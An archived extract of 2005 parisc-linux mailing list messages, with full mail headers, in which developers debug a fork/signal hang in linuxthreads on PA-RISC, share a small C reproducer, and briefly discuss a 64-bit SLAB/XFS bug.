J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Fri, 8 Apr 2005 17:29:18 -0400
Lines: 59
Approved: news@gmane.org
Message-ID: <20050408212918.GK1833@baldric.uwo.ca>
References: <200504070245.j372j6YF008446@hiauly1.hia.nrc.ca>
	<200504080256.j382u0x0013973@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623746 13740 80.91.229.3 (22 Nov 2014 02:35:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Apr 2005 21:29:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 08 Apr 2005 23:29:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B055A7D63F;
	Fri,  8 Apr 2005 15:29:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17780-05; Fri, 8 Apr 2005 15:29:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C0A687D673;
	Fri,  8 Apr 2005 15:29:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66B187D63C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Apr 2005 15:29:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17780-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 8 Apr 2005 15:29:26 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id E2E6A7D639
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Apr 2005 15:29:25 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DK12U-0007z1-00; Fri, 08 Apr 2005 17:29:18 -0400
Content-Disposition: inline
In-Reply-To: <200504080256.j382u0x0013973@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kJIkYuhqeSE5+76WZHQhaXN2IGRvb4CV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22592

On Thu, Apr 07, 2005 at 10:56:00PM -0400, John David Anglin wrote:
> After thinking a bit more about this, I'm convinced that the problem
> is a race between the registration of fork handlers and the delivery of
> the signal.  If the signal handler is called before the registration
> is complete, the code suspends when the signal handler exits and
> tries to unregister the fork handlers.  The test works if the signal
> is delayed.

If you can prove that those mutex's aren't working properly then we have
a case :)

Since technically this is not possible, the mutex .lock in __fork_block
makes sure that such a thing can't occur.

---

During the handler registration the mutex is taken, and only when
complete released. The __pthread_fork code must take that mutex before
calling the prepared handlers.

Look at:
linuxthreads/ptfork.c 
	(__pthread_fork)
linuxthreads/sysdeps/unix/sysv/linux/register-atfork.c
	(__register_atfork)


The lock is via __libc_lock_lock, which is:
	(__libc_maybe_call2 (pthread_mutex_lock, (&(NAME)), 0));

Which is pthread_mutex_lock, which could call:
	__pthread_lock(&mutex->__m_lock, NULL);
	__pthread_alt_lock(&mutex->__m_lock, NULL);
	__pthread_lock(&mutex->__m_lock, self);
	__pthread_alt_lock(&mutex->__m_lock, self);

The __pthread_lock is rather complex.

Seems to rely upon:
	__pthread_acquire(&lock->__spinlock);

Which relies upon:
	testandset(spinlock);

Which relies upon all the ldcw code we worked out.

*** WARNING ***

What am I missing?

c.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Sat, 9 Apr 2005 02:37:50 -0400
Lines: 52
Approved: news@gmane.org
Message-ID: <20050409063750.GQ1833@baldric.uwo.ca>
References: <20050408212918.GK1833@baldric.uwo.ca>
	<200504082254.j38MsKfA018596@hiauly1.hia.nrc.ca>
	<20050409055852.GM1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623746 13741 80.91.229.3 (22 Nov 2014 02:35:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Randolph Chung <tausq@debian.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2005 06:38:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 09 Apr 2005 08:38:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C1827D680;
	Sat,  9 Apr 2005 00:38:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20715-08; Sat, 9 Apr 2005 00:38:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B99747D681;
	Sat,  9 Apr 2005 00:38:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D5A27D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 00:37:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20771-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Apr 2005 00:37:58 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id BDE037D675
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 00:37:58 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DK9bK-0001sc-00; Sat, 09 Apr 2005 02:37:50 -0400
Content-Disposition: inline
In-Reply-To: <20050409055852.GM1833@baldric.uwo.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GR0lYphBeSE5+76WZHQhaXN2IGRvb4Dn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22593

On Sat, Apr 09, 2005 at 01:58:52AM -0400, Carlos O'Donell wrote:
> On Fri, Apr 08, 2005 at 06:54:20PM -0400, John David Anglin wrote:
> > > Since technically this is not possible, the mutex .lock in __fork_block
> > > makes sure that such a thing can't occur.
> > 
> > The program hangs doesn't it?
> 
> I just realized the program doesn't call pthread_atfork and it still
> hangs. Though it doesn't hang on i386. Is there a relied upon semantic
> we are missing here?

The following hangs and I don't really know why... maybe I'm just
sleepy :)

--- 
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>

void exit_on_signal(int signr)
{
  fprintf(stderr, "Thread %d, exiting on signal %d.\n", getpid(), signr); 
  exit(0);
}

int main(void)
{
  pid_t parent = getpid();
  printf("Parent thread is %d\n",parent);
  signal(SIGUSR2,exit_on_signal);
  if (fork() == 0) 
    {
      /* child kills parent */
      printf("Child thread is %d\n",getpid());
      kill(parent, SIGUSR2);
    } 
  else 
    {
      printf("Parent done.\n");
    }
  exit(0);
}
---

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Sat, 9 Apr 2005 02:38:47 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20050409063847.GR1833@baldric.uwo.ca>
References: <20050408212918.GK1833@baldric.uwo.ca>
	<200504090013.j390DLSC019178@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623746 13743 80.91.229.3 (22 Nov 2014 02:35:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2005 06:39:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 09 Apr 2005 08:39:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C19C87D692;
	Sat,  9 Apr 2005 00:38:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20945-04; Sat, 9 Apr 2005 00:38:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C4C87D69C;
	Sat,  9 Apr 2005 00:38:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D60C47D68F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 00:38:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20945-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Apr 2005 00:38:55 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 649337D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 00:38:55 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DK9cG-0001xN-00; Sat, 09 Apr 2005 02:38:48 -0400
Content-Disposition: inline
In-Reply-To: <200504090013.j390DLSC019178@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0R0lYiNMeSE5+76WZHQhaXN2IGRvbwDM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22594

On Fri, Apr 08, 2005 at 08:13:21PM -0400, John David Anglin wrote:
> > Since technically this is not possible, the mutex .lock in __fork_block
> > makes sure that such a thing can't occur.
> 
> Just wondering if this has to do with rt signals versus old style linux
> signals (ia64 seems to define some wrappers).

libc or kernel?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SLAB bug SMP 64bit / XFS mess
Date: Sat, 09 Apr 2005 13:25:40 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <4257D7D4.80401@tiscali.be>
References: <200504090100.j3910CW0019308@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623746 13745 80.91.229.3 (22 Nov 2014 02:35:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:46 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2005 13:25:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 09 Apr 2005 15:25:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD64D7D680;
	Sat,  9 Apr 2005 07:25:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23804-02; Sat, 9 Apr 2005 07:25:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0EB977D681;
	Sat,  9 Apr 2005 07:25:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DF277D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 07:25:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23729-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Apr 2005 07:25:50 -0600 (MDT)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 1C30A7D677
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 07:25:50 -0600 (MDT)
Original-Received: from [83.134.222.216] (helo=[83.134.222.216])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DKFy5-0000GP-Mj; Sat, 09 Apr 2005 15:25:45 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.6) Gecko/20050324 Debian/1.7.6-1
X-Accept-Language: en
In-Reply-To: <200504090100.j3910CW0019308@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sLIlYjFNeSE5+76WZHQhaXN2IGRvb0AP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22595



John David Anglin wrote:
>>It's also quite surprising the 32bit kernel is unaffected.
> 
well nothing new since: <http://lists.parisc-linux.org/pipermail/parisc-linux/2005-March/026055.html>

> 
> As a plug for my put_user patch, I recall that there is at least one
> xfs ioctl that involves putting a long int to userspace.
> 
Yes iirc that was (in 2.4) one of the reason I asked help to Randolph to introduce put_user_asm64() for 32bit kernel.

Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Sat, 9 Apr 2005 10:44:28 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200504091444.j39EiSCG021774@hiauly1.hia.nrc.ca>
References: <20050409063750.GQ1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623747 13748 80.91.229.3 (22 Nov 2014 02:35:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:47 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2005 14:44:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 09 Apr 2005 16:44:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2056C7D696;
	Sat,  9 Apr 2005 08:44:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24244-10; Sat, 9 Apr 2005 08:44:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88AA57D69B;
	Sat,  9 Apr 2005 08:44:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD8447D681
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 08:44:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24324-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Apr 2005 08:44:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5ED5B7D680
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 08:44:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j39EiThF021775; Sat, 9 Apr 2005 10:44:29 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j39EiSCG021774;
	Sat, 9 Apr 2005 10:44:28 -0400 (EDT)
In-Reply-To: <20050409063750.GQ1833@baldric.uwo.ca> from "Carlos O'Donell" at
	Apr 9, 2005 02:37:50 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CI8lYtY2eSE5+76WZHQhaXN2IGRvb8CI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22596

> > I just realized the program doesn't call pthread_atfork and it still
> > hangs. Though it doesn't hang on i386. Is there a relied upon semantic
> > we are missing here?
> 
> The following hangs and I don't really know why... maybe I'm just
> sleepy :)

Did you link with -lpthread?  The deregistration is done as a destructor
for the library.  Not sure about the initial registration.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Sat, 9 Apr 2005 07:48:14 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20050409144814.GJ6987@tausq.org>
References: <20050409063750.GQ1833@baldric.uwo.ca>
	<200504091444.j39EiSCG021774@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623747 13751 80.91.229.3 (22 Nov 2014 02:35:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
